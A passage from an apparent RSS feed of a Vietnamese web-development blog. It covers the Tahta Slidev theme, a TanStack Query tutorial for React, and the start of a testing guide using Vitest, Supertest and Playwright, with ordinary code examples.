&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mỗi layout đọc structured frontmatter — bạn điền dữ liệu, không dàn trang:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;---
layout: stats
kicker: Con số
title: Những gì đã thay đổi
stats:
  - { value: 80, unit: &quot;%&quot;, label: Giảm latency }
  - { value: 33, unit: &quot;%&quot;, label: Tiết kiệm chi phí }
  - { value: 0, label: Giây downtime }
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chín dòng, zero markup, một slide stats hoàn chỉnh.&lt;/p&gt;
&lt;h2&gt;Layouts&lt;/h2&gt;
&lt;p&gt;Tahta cung cấp 30+ layouts chia làm 2 nhóm:&lt;/p&gt;
&lt;p&gt;Keynote / Pitch: cover, lead, section, default, statement, bigtype, quote, stats, fact, metric, compare, chart, steps, feature, timeline, logos, code, two-cols, image, showcase, bleed, embed, end&lt;/p&gt;
&lt;p&gt;Teaching / Technical: agenda, define, columns, panels, reference, vs, code-explain, diagram (Mermaid) + các components &lt;code&gt;&amp;#x3C;Kbd&gt;&lt;/code&gt;, &lt;code&gt;&amp;#x3C;Terminal&gt;&lt;/code&gt;, &lt;code&gt;&amp;#x3C;FileTree&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Charts hỗ trợ bar, line, area, donut (ECharts) với bảng màu categorical sinh tự động từ accent color. Code layout hỗ trợ Magic Move.&lt;/p&gt;
&lt;h2&gt;Theme Đi Sâu&lt;/h2&gt;
&lt;p&gt;Tahta có 3 cấp độ tuỳ chỉnh, tất cả đều declarative:&lt;/p&gt;
&lt;h3&gt;1. Variant&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;themeConfig:
  variant: brutalist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đổi toàn bộ style bundle — type, shape, texture, density, motion, palette.&lt;/p&gt;
&lt;h3&gt;2. Accent&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;themeConfig:
  variant: soft
  accent: &apos;#c8f135&apos;   # override brand color
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chỉ override hue — lightness/chroma tự normalize vào variant envelope, đảm bảo màu lúc nào cũng hài hoà, không chói.&lt;/p&gt;
&lt;h3&gt;3. Tokens&lt;/h3&gt;
&lt;p&gt;Hệ thống 3 tầng trong &lt;code&gt;packages/theme/styles/tokens.css&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Primitives — giá trị gốc (màu, spacing, font size...)&lt;/li&gt;
&lt;li&gt;Semantic tokens — components chỉ đọc tầng này&lt;/li&gt;
&lt;li&gt;Variant bundles — mỗi variant là một &lt;code&gt;:root[data-variant=&apos;…&apos;]&lt;/code&gt; remap&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Muốn custom sâu? Thêm variant mới: viết một block &lt;code&gt;:root[data-variant=&apos;…&apos;]&lt;/code&gt; là xong.&lt;/p&gt;
&lt;h2&gt;Branding &amp;#x26; Imagery&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;themeConfig:
  logo: /path/to/logo.svg
  logoInvert: /path/to/logo-dark.svg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Logo hiển thị lớn trên slide mở đầu, small mark ở footer slide nội dung. Có thể tắt bằng &lt;code&gt;mark: false&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tahta còn ship module tahta-imagine — crop → duotone theo palette variant → grain. Agent AI có thể dùng nó để tạo ảnh tự động.&lt;/p&gt;
&lt;h2&gt;Kiến Trúc Hệ Thống&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;packages/
  theme/              # slidev-theme-tahta
    tokens.json       # primitives → semantic → variants
    layouts.json      # published contract: mọi layout + field
    variants.json     # published contract: mọi variant
    components/       # Stat, Plot, Callout, Badge...
    layouts/          # 30+ layouts
    modules/          # agent capability modules (branding, imagery)
  grade/              # @zcag/tahta-grade — CLI visual grading
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Điểm đặc biệt: &lt;code&gt;layouts.json&lt;/code&gt; và &lt;code&gt;variants.json&lt;/code&gt; ship trong package như một published contract — máy đọc được. &lt;code&gt;AGENTS.md&lt;/code&gt; của theme được generate từ những file này.&lt;/p&gt;
&lt;h2&gt;Quality Enforcement&lt;/h2&gt;
&lt;p&gt;Tahta có CI pipeline kiểm tra:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Token contract — không có hardcoded values&lt;/li&gt;
&lt;li&gt;WCAG-AA contrast — mọi variant đều pass&lt;/li&gt;
&lt;li&gt;Render test — CI render mọi layout × mọi variant&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Công cụ &lt;code&gt;tahta-grade&lt;/code&gt; export từng slide ra PNG, flag lỗi blank/broken/overflow, serve side-by-side report với tab cho từng variant.&lt;/p&gt;
&lt;h2&gt;Tahta vs Theme Thường&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Theme Slidev thường | Tahta |
|---|---|---|
| Thay đổi style | Sửa CSS thủ công | 1 dòng &lt;code&gt;variant:&lt;/code&gt; |
| Components | Rất ít hoặc không | Stat, Plot, Callout, Badge, Icon... |
| Tokens | Không | 3-tier token system |
| Published contract | Không | layouts.json + variants.json |
| Testing | Thủ công | CI render × grade |
| Agent support | Không | Modules cho AI agent |&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Tahta không phải là một theme — nó là một design system cho Slidev. Token-driven, component-based, variant-powered. 13 phong cách, 30+ layouts, zero CSS, một dòng config để đổi toàn bộ diện mạo.&lt;/p&gt;
&lt;p&gt;Nếu bạn dùng Slidev và muốn slide đẹp mà không tốn thời gian dàn trang, Tahta là lựa chọn đáng thử.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Live explorer: &lt;a href=&quot;https://tahta.cagdas.io/&quot;&gt;tahta.cagdas.io&lt;/a&gt; — xem mọi layout × mọi variant.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tahta.cagdas.io&quot;&gt;Tahta Live Explorer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zcag/tahta&quot;&gt;Tahta GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sli.dev&quot;&gt;Slidev Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://echarts.apache.org&quot;&gt;ECharts Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://webaim.org/resources/contrastchecker/&quot;&gt;WCAG Contrast Checker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>TanStack Query — Quản Lý Server State Cho React</title><link>https://dopana-blog.pages.dev/blog/tanstack-query-quan-ly-server-state-cho-react</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/tanstack-query-quan-ly-server-state-cho-react</guid><description>TanStack Query xử lý cache, refetch, stale management, pagination, optimistic update cho server state. Không cần Redux cho dữ liệu API.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TanStack Query (React Query) là thư viện quản lý server state cho React. Nó giải quyết: cache, background refetch, stale management, pagination, optimistic update — những thứ Redux/Zustand không làm tốt.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { useQuery } from &apos;@tanstack/react-query&apos;

function Posts() {
  const { data, isLoading, error } = useQuery({
    queryKey: [&apos;posts&apos;],
    queryFn: () =&gt; fetch(&apos;/api/posts&apos;).then(r =&gt; r.json()),
  })

  if (isLoading) return &amp;#x3C;Spinner /&gt;
  if (error) return &amp;#x3C;Error message={error.message} /&gt;
  return &amp;#x3C;PostList posts={data} /&gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không &lt;code&gt;useEffect&lt;/code&gt;, không &lt;code&gt;useState&lt;/code&gt;, không manual loading/error state.&lt;/p&gt;
&lt;h2&gt;Vấn Đề Server State&lt;/h2&gt;
&lt;p&gt;Server state khác client state:&lt;/p&gt;
&lt;p&gt;| Client State | Server State |
|---|---|
| Theme, modal, form input | Dữ liệu từ API |
| Chỉ UI quan tâm | Nhiều component dùng chung |
| Sync ngay | Có thể stale |
| Không ai khác sửa | Người dùng khác có thể sửa |&lt;/p&gt;
&lt;p&gt;Với &lt;code&gt;useEffect&lt;/code&gt; + &lt;code&gt;useState&lt;/code&gt; thủ công:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Phải tự làm mọi thứ
function Posts() {
  const [data, setData] = useState(null)
  const [loading, setLoading] = useState(true)
  const [error, setError] = useState(null)

  useEffect(() =&gt; {
    setLoading(true)
    fetch(&apos;/api/posts&apos;)
      .then(r =&gt; r.json())
      .then(d =&gt; { setData(d); setLoading(false) })
      .catch(e =&gt; { setError(e); setLoading(false) })
  }, [])

  // ❌ Không cache: chuyển trang → gọi lại API
  // ❌ Không background refetch
  // ❌ Không stale management
  // ❌ Loading flash mỗi lần
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;TanStack Query xử lý tất cả.&lt;/p&gt;
&lt;h2&gt;Core Concepts&lt;/h2&gt;
&lt;h3&gt;useQuery&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const { data, isLoading, isError, error, isFetching, refetch } = useQuery({
  queryKey: [&apos;posts&apos;],           // Key duy nhất cho cache
  queryFn: () =&gt; fetchPosts(),   // Hàm fetch dữ liệu
  staleTime: 5 * 60 * 1000,     // 5 phút mới stale
  gcTime: 30 * 60 * 1000,       // Giữ cache 30 phút (trước là cacheTime)
  refetchOnWindowFocus: true,    // Tự động refetch khi focus tab
  retry: 3,                      // Retry 3 lần khi lỗi
  enabled: true,                 // Conditional fetching
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Query Key&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Key đơn giản
useQuery({ queryKey: [&apos;posts&apos;], queryFn: ... })

// Key với params — tự động refetch khi key thay đổi
useQuery({
  queryKey: [&apos;posts&apos;, { page, limit, search }],
  queryFn: () =&gt; fetchPosts({ page, limit, search }),
})

// Key best practice: [&apos;domain&apos;, &apos;action&apos;, ...params]
[&apos;posts&apos;]                          // Tất cả posts
[&apos;posts&apos;, postId]                  // Một post
[&apos;posts&apos;, postId, &apos;comments&apos;]      // Comments của một post
[&apos;users&apos;, userId, &apos;profile&apos;]       // Profile của user
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;useMutation&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const queryClient = useQueryClient()

const mutation = useMutation({
  mutationFn: (newPost) =&gt;
    fetch(&apos;/api/posts&apos;, {
      method: &apos;POST&apos;,
      body: JSON.stringify(newPost),
    }).then(r =&gt; r.json()),

  onSuccess: (data) =&gt; {
    // Invalidate cache → tự động refetch
    queryClient.invalidateQueries({ queryKey: [&apos;posts&apos;] })

    // Hoặc set cache trực tiếp (optimistic)
    queryClient.setQueryData([&apos;posts&apos;, data.id], data)
  },

  onError: (error) =&gt; {
    toast.error(`Failed: ${error.message}`)
  },
})

// Dùng mutation
mutation.mutate({ title: &apos;New Post&apos;, content: &apos;...&apos; })
mutation.mutateAsync({ title: &apos;...&apos; }).then(data =&gt; ...)

// Trạng thái
mutation.isPending   // Đang gửi
mutation.isError     // Lỗi
mutation.isSuccess   // Thành công
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Patterns&lt;/h2&gt;
&lt;h3&gt;Dependent Queries&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Query này phụ thuộc kết quả query kia
const { data: user } = useQuery({
  queryKey: [&apos;user&apos;, userId],
  queryFn: () =&gt; fetchUser(userId),
})

const { data: posts } = useQuery({
  queryKey: [&apos;posts&apos;, user?.id],
  queryFn: () =&gt; fetchPostsByUser(user!.id),
  enabled: !!user,  // Chỉ chạy khi có user
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Parallel Queries&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Tự động chạy song song
const usersQuery = useQuery({ queryKey: [&apos;users&apos;], queryFn: fetchUsers })
const postsQuery = useQuery({ queryKey: [&apos;posts&apos;], queryFn: fetchPosts })
const commentsQuery = useQuery({ queryKey: [&apos;comments&apos;], queryFn: fetchComments })

// Dùng useQueries cho array động
const postIds = [1, 2, 3, 4, 5]
const postsQueries = useQueries({
  queries: postIds.map(id =&gt; ({
    queryKey: [&apos;posts&apos;, id],
    queryFn: () =&gt; fetchPost(id),
  })),
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Pagination&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;function PostsPage() {
  const [page, setPage] = useState(1)

  const { data, isFetching } = useQuery({
    queryKey: [&apos;posts&apos;, { page }],
    queryFn: () =&gt; fetchPosts(page),
    placeholderData: keepPreviousData,
    // Giữ data cũ trong khi fetch trang mới
    // → không bị loading flash
  })

  return (
    &amp;#x3C;div&gt;
      {data?.posts.map(post =&gt; &amp;#x3C;PostCard key={post.id} post={post} /&gt;)}

      {isFetching &amp;#x26;&amp;#x26; &amp;#x3C;Spinner /&gt;}

      &amp;#x3C;button onClick={() =&gt; setPage(p =&gt; p - 1)} disabled={page === 1}&gt;
        Previous
      &amp;#x3C;/button&gt;
      &amp;#x3C;span&gt;Page {page}&amp;#x3C;/span&gt;
      &amp;#x3C;button onClick={() =&gt; setPage(p =&gt; p + 1)} disabled={!data?.hasMore}&gt;
        Next
      &amp;#x3C;/button&gt;
    &amp;#x3C;/div&gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Infinite Scroll&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;function InfinitePosts() {
  const {
    data,
    fetchNextPage,
    hasNextPage,
    isFetchingNextPage,
  } = useInfiniteQuery({
    queryKey: [&apos;posts&apos;],
    queryFn: ({ pageParam = 1 }) =&gt; fetchPosts(pageParam),
    getNextPageParam: (lastPage) =&gt;
      lastPage.hasMore ? lastPage.page + 1 : undefined,
    initialPageParam: 1,
  })

  return (
    &amp;#x3C;div&gt;
      {data?.pages.map(page =&gt;
        page.posts.map(post =&gt; &amp;#x3C;PostCard key={post.id} post={post} /&gt;)
      )}

      &amp;#x3C;button
        onClick={() =&gt; fetchNextPage()}
        disabled={!hasNextPage || isFetchingNextPage}
      &gt;
        {isFetchingNextPage ? &apos;Loading...&apos; : hasNextPage ? &apos;Load More&apos; : &apos;All loaded&apos;}
      &amp;#x3C;/button&gt;

      &amp;#x3C;div ref={sentinelRef} /&gt; {/* Intersection Observer */}
    &amp;#x3C;/div&gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Optimistic Update&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const mutation = useMutation({
  mutationFn: (updatedTodo) =&gt;
    fetch(`/api/todos/${updatedTodo.id}`, {
      method: &apos;PATCH&apos;,
      body: JSON.stringify(updatedTodo),
    }).then(r =&gt; r.json()),

  // Khi mutate, cập nhật cache ngay — trước khi API trả về
  onMutate: async (newTodo) =&gt; {
    // Cancel refetch đang chạy để tránh overwrite
    await queryClient.cancelQueries({ queryKey: [&apos;todos&apos;] })

    // Snap old value để rollback nếu lỗi
    const previousTodos = queryClient.getQueryData([&apos;todos&apos;])

    // Optimistic update
    queryClient.setQueryData([&apos;todos&apos;], (old) =&gt;
      old?.map(todo =&gt;
        todo.id === newTodo.id ? { ...todo, ...newTodo } : todo
      )
    )

    return { previousTodos } // Pass cho onError
  },

  // Nếu lỗi → rollback
  onError: (err, newTodo, context) =&gt; {
    queryClient.setQueryData([&apos;todos&apos;], context?.previousTodos)
    toast.error(&apos;Update failed — rolled back&apos;)
  },

  // Refetch để đảm bảo UI khớp server
  onSettled: () =&gt; {
    queryClient.invalidateQueries({ queryKey: [&apos;todos&apos;] })
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cache Configuration&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      staleTime: 5 * 60 * 1000,      // 5 phút — dữ liệu được coi là fresh
      gcTime: 30 * 60 * 1000,        // Giữ cache 30 phút sau khi unmount
      refetchOnWindowFocus: true,     // Refetch khi focus tab
      refetchOnReconnect: true,       // Refetch khi online lại
      retry: 3,
      retryDelay: (attempt) =&gt; Math.min(1000 * 2 ** attempt, 30000),
    },
  },
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Per-query override&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Dữ liệu ổn định — ít refetch
useQuery({
  queryKey: [&apos;settings&apos;],
  queryFn: fetchSettings,
  staleTime: 30 * 60 * 1000,     // 30 phút
  refetchOnWindowFocus: false,
})

// Dữ liệu real-time — luôn fresh
useQuery({
  queryKey: [&apos;notifications&apos;],
  queryFn: fetchNotifications,
  staleTime: 0,                   // Luôn stale → refetch khi focus
  refetchInterval: 10000,         // Poll mỗi 10s
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;DevTools&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install @tanstack/react-query-devtools
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { ReactQueryDevtools } from &apos;@tanstack/react-query-devtools&apos;

function App() {
  return (
    &amp;#x3C;QueryClientProvider client={queryClient}&gt;
      {children}
      &amp;#x3C;ReactQueryDevtools initialIsOpen={false} /&gt;
    &amp;#x3C;/QueryClientProvider&gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;DevTools cho phép: inspect cache, manual refetch, reset query, xem trạng thái (fresh/stale/fetching).&lt;/p&gt;
&lt;h2&gt;Custom Hooks Pattern&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// hooks/usePosts.ts
export function usePosts() {
  return useQuery({
    queryKey: [&apos;posts&apos;],
    queryFn: fetchPosts,
    staleTime: 5 * 60 * 1000,
  })
}

export function usePost(id: number) {
  return useQuery({
    queryKey: [&apos;posts&apos;, id],
    queryFn: () =&gt; fetchPost(id),
    enabled: !!id,
  })
}

export function useCreatePost() {
  const queryClient = useQueryClient()

  return useMutation({
    mutationFn: (data: CreatePostInput) =&gt;
      fetch(&apos;/api/posts&apos;, {
        method: &apos;POST&apos;,
        body: JSON.stringify(data),
      }).then(r =&gt; r.json()),

    onSuccess: (newPost) =&gt; {
      queryClient.setQueryData([&apos;posts&apos;, newPost.id], newPost)
      queryClient.invalidateQueries({ queryKey: [&apos;posts&apos;] })
      toast.success(&apos;Post created!&apos;)
    },
  })
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng TanStack Query?&lt;/h2&gt;
&lt;h3&gt;✅ Nên dùng&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Bất kỳ React app nào gọi API&lt;/li&gt;
&lt;li&gt;Dashboard với nhiều data fetching&lt;/li&gt;
&lt;li&gt;Real-time UI cần sync với server&lt;/li&gt;
&lt;li&gt;App có pagination/infinite scroll&lt;/li&gt;
&lt;li&gt;Optimistic update cần rollback&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ Không cần&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;App không gọi API (static site)&lt;/li&gt;
&lt;li&gt;Dùng tRPC (tRPC tích hợp React Query sẵn)&lt;/li&gt;
&lt;li&gt;Server-rendered app không có client fetch&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;TanStack Query loại bỏ ~90% boilerplate data fetching trong React.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Trước: useEffect + useState + loading + error + cache
function Posts() {
  const [data, setData] = useState(null)
  const [loading, setLoading] = useState(true)
  useEffect(() =&gt; {
    fetch(&apos;/api/posts&apos;)
      .then(r =&gt; r.json())
      .then(setData)
      .finally(() =&gt; setLoading(false))
  }, [])
  if (loading) return &amp;#x3C;Spinner /&gt;
  return &amp;#x3C;PostsList posts={data} /&gt;
}

// Sau: useQuery
function Posts() {
  const { data, isLoading } = useQuery({
    queryKey: [&apos;posts&apos;],
    queryFn: () =&gt; fetch(&apos;/api/posts&apos;).then(r =&gt; r.json()),
  })
  if (isLoading) return &amp;#x3C;Spinner /&gt;
  return &amp;#x3C;PostsList posts={data} /&gt;
}

// + Cache, refetch, stale management, retry, devtools — miễn phí

## Tài liệu tham khảo

- [TanStack Query Documentation](https://tanstack.com/query/latest)
- [TanStack Query — useQuery Guide](https://tanstack.com/query/latest/docs/framework/react/guides/queries)
- [TanStack Query — useMutation Guide](https://tanstack.com/query/latest/docs/framework/react/guides/mutations)
- [TanStack Query — Optimistic Updates](https://tanstack.com/query/latest/docs/framework/react/guides/optimistic-updates)
- [TanStack Query — Infinite Queries](https://tanstack.com/query/latest/docs/framework/react/guides/infinite-queries)
- [TanStack Query Devtools](https://tanstack.com/query/latest/docs/framework/react/devtools)
&lt;/code&gt;&lt;/pre&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Testing — Unit Test, Integration Test Và E2E Cho Web App</title><link>https://dopana-blog.pages.dev/blog/testing-guide</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/testing-guide</guid><description>Xây dựng chiến lược testing cho web app: unit test với Vitest, integration test, và E2E với Playwright.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Testing không phải việc &quot;làm sau&quot; — nó là một phần của quy trình phát triển. Code không test là code không hoạt động (bạn chỉ chưa biết thôi).&lt;/p&gt;
&lt;h2&gt;Pyramid Test&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;        ╱  E2E  ╲       ← Chậm, đắt, ít
       ╱─────────╲
      ╱Integration╲     ← Trung bình
     ╱─────────────╲
    ╱  Unit Test    ╲    ← Nhanh, rẻ, nhiều nhất
   ╱─────────────────╲
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Unit Test: Test function/class riêng lẻ, mock dependencies&lt;/li&gt;
&lt;li&gt;Integration Test: Test nhiều module cùng nhau, DB thật&lt;/li&gt;
&lt;li&gt;E2E Test: Test flow user hoàn chỉnh, browser thật&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Unit Test với Vitest&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// utils/format.ts
export function formatCurrency(amount: number, currency: string): string {
  return new Intl.NumberFormat(&apos;vi-VN&apos;, {
    style: &apos;currency&apos;,
    currency,
  }).format(amount);
}

// utils/format.test.ts
import { describe, it, expect } from &apos;vitest&apos;;
import { formatCurrency } from &apos;./format&apos;;

describe(&apos;formatCurrency&apos;, () =&gt; {
  it(&apos;formats VND correctly&apos;, () =&gt; {
    expect(formatCurrency(100000, &apos;VND&apos;)).toBe(&apos;100.000 ₫&apos;);
  });

  it(&apos;formats USD correctly&apos;, () =&gt; {
    expect(formatCurrency(99.99, &apos;USD&apos;)).toBe(&apos;99,99 $&apos;);
  });

  it(&apos;handles zero&apos;, () =&gt; {
    expect(formatCurrency(0, &apos;VND&apos;)).toBe(&apos;0 ₫&apos;);
  });

  it(&apos;handles negative amounts&apos;, () =&gt; {
    expect(formatCurrency(-50000, &apos;VND&apos;)).toBe(&apos;-50.000 ₫&apos;);
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Mock API&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { vi, it, expect } from &apos;vitest&apos;;
import { fetchUser } from &apos;./api&apos;;

vi.mock(&apos;./api&apos;, () =&gt; ({
  fetchUser: vi.fn(),
}));

it(&apos;returns user when API succeeds&apos;, async () =&gt; {
  (fetchUser as Mock).mockResolvedValue({ id: 1, name: &apos;Alice&apos; });
  const result = await fetchUser(1);
  expect(result.name).toBe(&apos;Alice&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Integration Test với Supertest&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import request from &apos;supertest&apos;;
import app from &apos;../app&apos;;
import { db } from &apos;../db&apos;;

describe(&apos;POST /api/users&apos;, () =&gt; {
  beforeAll(async () =&gt; {
    await db.migrate();
  });

  afterAll(async () =&gt; {
    await db.destroy();
  });

  it(&apos;creates a new user&apos;, async () =&gt; {
    const res = await request(app)
      .post(&apos;/api/users&apos;)
      .send({ name: &apos;Alice&apos;, email: &apos;alice@example.com&apos; })
      .expect(201);

    expect(res.body.data).toMatchObject({
      name: &apos;Alice&apos;,
      email: &apos;alice@example.com&apos;,
    });
  });

  it(&apos;rejects duplicate email&apos;, async () =&gt; {
    await request(app)
      .post(&apos;/api/users&apos;)
      .send({ name: &apos;Bob&apos;, email: &apos;alice@example.com&apos; })
      .expect(409);
  });

  it(&apos;validates required fields&apos;, async () =&gt; {
    await request(app)
      .post(&apos;/api/users&apos;)
      .send({})
      .expect(400);
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Component Test với Testing Library&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import { render, screen, fireEvent } from &apos;@testing-library/react&apos;;
import userEvent from &apos;@testing-library/user-event&apos;;
import { LoginForm } from &apos;./LoginForm&apos;;

describe(&apos;LoginForm&apos;, () =&gt; {
  it(&apos;shows error when email is invalid&apos;, async () =&gt; {
    render(&amp;#x3C;LoginForm /&gt;);
    const emailInput = screen.getByLabelText(&apos;Email&apos;);

    await userEvent.type(emailInput, &apos;invalid&apos;);
    await userEvent.tab();

    expect(screen.getByText(&apos;Please enter a valid email&apos;)).toBeInTheDocument();
  });

  it(&apos;calls onSubmit with form data&apos;, async () =&gt; {
    const onSubmit = vi.fn();
    render(&amp;#x3C;LoginForm onSubmit={onSubmit} /&gt;);

    await userEvent.type(screen.getByLabelText(&apos;Email&apos;), &apos;alice@test.com&apos;);
    await userEvent.type(screen.getByLabelText(&apos;Password&apos;), &apos;password123&apos;);
    await userEvent.click(screen.getByRole(&apos;button&apos;, { name: &apos;Login&apos; }));

    expect(onSubmit).toHaveBeenCalledWith({
      email: &apos;alice@test.com&apos;,
      password: &apos;password123&apos;,
    });
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;E2E Test với Playwright&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { test, expect } from &apos;@playwright/test&apos;;

test(&apos;user can sign up and create a post&apos;, async ({ page }) =&gt; {
  // 1. Visit home page
  await page.goto(&apos;/&apos;);

  // 2. Navigate to sign up
  await page.click(&apos;text=Sign Up&apos;);
  await page.fill(&apos;[name=email]&apos;, &apos;test@example.com&apos;);
  await page.fill(&apos;[name=password]&apos;, &apos;password123&apos;);
  await page.click(&apos;button[type=submit]&apos;);

  // 3. Verify redirect
  await expect(page).toHaveURL(&apos;/dashboard&apos;);

  // 4. Create a post
  await page.click(&apos;text=New Post&apos;);
  await page.fill(&apos;[name=title]&apos;, &apos;My First Post&apos;);
  await page.fill(&apos;[name=content]&apos;, &apos;Hello World!&apos;);
  await page.click(&apos;button:has-text(&quot;Publish&quot;)&apos;);

  // 5. Post appears
  await expect(page.locator(&apos;text=My First Post&apos;)).toBeVisible();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Coverage&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Vitest
npx vitest --coverage

# output:
# ------------------------|---------|---------|---------|---------|
# File | % Stmts | % Branch| % Funcs | % Lines |
# ------------------------|---------|---------|---------|---------|
# src/utils/ | 95.45 | 88.89 | 100.00 | 95.45 |
# src/api/ | 92.31 | 100.00 | 85.71 | 92.31 |
# src/components/ | 88.57 | 78.95 | 91.67 | 88.57 |
# ------------------------|---------|---------|---------|---------|
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mục tiêu: &gt; 80% coverage. Nhưng nhớ: coverage % không đồng nghĩa code quality.&lt;/p&gt;
&lt;h2&gt;Mock Database Cho Integration Test&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// docker-compose.test.yml
services:
  postgres-test:
    image: postgres:16-alpine
    ports:
      - &quot;5433:5432&quot;
    environment:
      POSTGRES_PASSWORD: test

// vitest.config.ts
export default defineConfig({
  test: {
    globalSetup: &apos;./test/setup.ts&apos;,
    globalTeardown: &apos;./test/teardown.ts&apos;,
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CI — Test Trong Pipeline&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;test:
  runs-on: ubuntu-latest
  services:
    postgres:
      image: postgres:16-alpine
      env:
        POSTGRES_PASSWORD: test
  steps:
    - uses: actions/checkout@v4
    - run: npm ci
    - run: npm test
      env:
